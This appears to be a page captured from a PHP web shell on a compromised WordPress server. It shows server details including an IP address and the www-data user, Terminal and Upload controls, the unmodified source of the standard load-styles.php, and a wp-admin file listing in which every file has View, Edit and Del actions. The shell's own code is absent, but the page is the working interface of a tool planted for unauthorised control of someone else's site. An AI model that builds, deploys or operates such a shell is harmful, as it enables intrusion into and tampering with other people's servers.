7.4.33 | Linux x86_64
Server128.199.10.0
Userwww-data (uid:33)
PHP7.4.33 (apache2handler)
Terminal
Upload
Files: /var/www/html/wp-admin
View: load-styles.php
<?php /* * The error_reporting() function can be disabled in php.ini. On systems where that is the case, * it's best to add a dummy function to the wp-config.php file, but as this call to the function * is run prior to wp-config.php loading, it is wrapped in a function_exists() check. */ if ( function_exists( 'error_reporting' ) ) { /* * Disable error reporting. * * Set this to error_reporting( -1 ) for debugging. */ error_reporting( 0 ); } // Set ABSPATH for execution. if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', dirname( __DIR__ ) . '/' ); } define( 'WPINC', 'wp-includes' ); define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); require ABSPATH . 'wp-admin/includes/noop.php'; require ABSPATH . WPINC . '/theme.php'; require ABSPATH . WPINC . '/class-wp-theme-json-resolver.php'; require ABSPATH . WPINC . '/global-styles-and-settings.php'; require ABSPATH . WPINC . '/script-loader.php'; require ABSPATH . WPINC . '/version.php'; $protocol = $_SERVER['SERVER_PROTOCOL']; if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) { $protocol = 'HTTP/1.0'; } $load = $_GET['load']; if ( is_array( $load ) ) { ksort( $load ); $load = implode( '', $load ); } $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load ); $load = array_unique( explode( ',', $load ) ); if ( empty( $load ) ) { header( "$protocol 400 Bad Request" ); exit; } $rtl = ( isset( $_GET['dir'] ) && 'rtl' === $_GET['dir'] ); $expires_offset = 31536000; // 1 year. $out = ''; $wp_styles = new WP_Styles(); wp_default_styles( $wp_styles ); $etag = $wp_styles->get_etag( $load ); if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) === $etag ) { header( "$protocol 304 Not Modified" ); exit; } foreach ( $load as $handle ) { if ( ! array_key_exists( $handle, $wp_styles->registered ) ) { continue; } $style = $wp_styles->registered[ $handle ]; if ( empty( $style->src ) ) { continue; } $path = ABSPATH . $style->src; if ( $rtl && ! empty( $style->extra['rtl'] ) ) { // All default styles have fully independent RTL files. $path = str_replace( '.min.css', '-rtl.min.css', $path ); } $content = get_file( $path ) . "\n"; // Note: str_starts_with() is not used here, as wp-includes/compat.php is not loaded in this file. if ( 0 === strpos( $style->src, '/' . WPINC . '/css/' ) ) { $content = str_replace( '../images/', '../' . WPINC . '/images/', $content ); $content = str_replace( '../js/tinymce/', '../' . WPINC . '/js/tinymce/', $content ); $content = str_replace( '../fonts/', '../' . WPINC . '/fonts/', $content ); $out .= $content; } else { $out .= str_replace( '../images/', 'images/', $content ); } } header( "Etag: $etag" ); header( 'Content-Type: text/css; charset=UTF-8' ); header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' ); header( "Cache-Control: public, max-age=$expires_offset" ); echo $out; exit;
NameSizeActions
about.php16KView Edit Del
admin-ajax.php5KView Edit Del
admin-footer.php2.7KView Edit Del
admin-functions.php479BView Edit Del
admin-header.php9.1KView Edit Del
admin-post.php2KView Edit Del
admin.php12.6KView Edit Del
async-upload.php5.5KView Edit Del
authorize-application.php10.1KView Edit Del
comment.php11.4KView Edit Del
contribute.php5.9KView Edit Del
credits.php4.4KView Edit Del
css/--
custom-background.php489BView Edit Del
custom-header.php499BView Edit Del
customize.php11.2KView Edit Del
edit-comments.php14.1KView Edit Del
edit-form-advanced.php28.8KView Edit Del
edit-form-blocks.php14.7KView Edit Del
edit-form-comment.php8.3KView Edit Del
edit-link-form.php6.2KView Edit Del
edit-tag-form.php10.4KView Edit Del
edit-tags.php22KView Edit Del
edit.php19.5KView Edit Del
erase-personal-data.php7.3KView Edit Del
export-personal-data.php7.8KView Edit Del
export.php11KView Edit Del
font-library.php1KView Edit Del
freedoms.php4.8KView Edit Del
images/--
import.php7.6KView Edit Del
includes/--
index.php7.7KView Edit Del
install-helper.php6.8KView Edit Del
install.php17.9KView Edit Del
js/--
link-add.php934BView Edit Del
link-manager.php4.3KView Edit Del
link-parse-opml.php2.6KView Edit Del
link.php2.9KView Edit Del
load-scripts.php2KView Edit Del
load-styles.php2.9KView Edit Del
maint/--
media-new.php3.2KView Edit Del
media-upload.php3.6KView Edit Del
media.php819BView Edit Del
menu-header.php9.8KView Edit Del
menu.php17.7KView Edit Del
moderation.php307BView Edit Del
ms-admin.php196BView Edit Del
ms-delete-site.php4.5KView Edit Del
ms-edit.php216BView Edit Del
ms-options.php229BView Edit Del
ms-sites.php215BView Edit Del
ms-themes.php217BView Edit Del
ms-upgrade-network.php219BView Edit Del
ms-users.php215BView Edit Del
my-sites.php4.7KView Edit Del
nav-menus.php49.1KView Edit Del
network/--
network.php5.4KView Edit Del
options-connectors.php1.1KView Edit Del
options-discussion.php15.9KView Edit Del
options-general.php22.3KView Edit Del
options-head.php621BView Edit Del
options-media.php6.4KView Edit Del
options-permalink.php21.9KView Edit Del
options-privacy.php9.9KView Edit Del
options-reading.php10KView Edit Del
options-writing.php9.1KView Edit Del
options.php13.9KView Edit Del
plugin-editor.php13.8KView Edit Del
plugin-install.php7KView Edit Del
plugins.php30KView Edit Del
post-new.php2.7KView Edit Del
post.php10KView Edit Del
press-this.php2.4KView Edit Del
privacy-policy-guide.php3.7KView Edit Del
privacy.php2.8KView Edit Del
profile.php283BView Edit Del
revision.php5.7KView Edit Del
setup-config.php17.5KView Edit Del
site-editor.php12.1KView Edit Del
site-health-info.php4.1KView Edit Del
site-health.php10.2KView Edit Del
term.php2.2KView Edit Del
theme-editor.php16.9KView Edit Del
theme-install.php23.6KView Edit Del
themes.php47.9KView Edit Del
tools.php3.4KView Edit Del
update-core.php45.1KView Edit Del
update.php12.8KView Edit Del
upgrade-functions.php341BView Edit Del
upgrade.php6.2KView Edit Del
upload.php14.9KView Edit Del
user/--
user-edit.php40.4KView Edit Del
user-new.php24.1KView Edit Del
users.php23.4KView Edit Del
widgets-form-blocks.php5.1KView Edit Del
widgets-form.php19.1KView Edit Del
widgets.php1.1KView Edit Del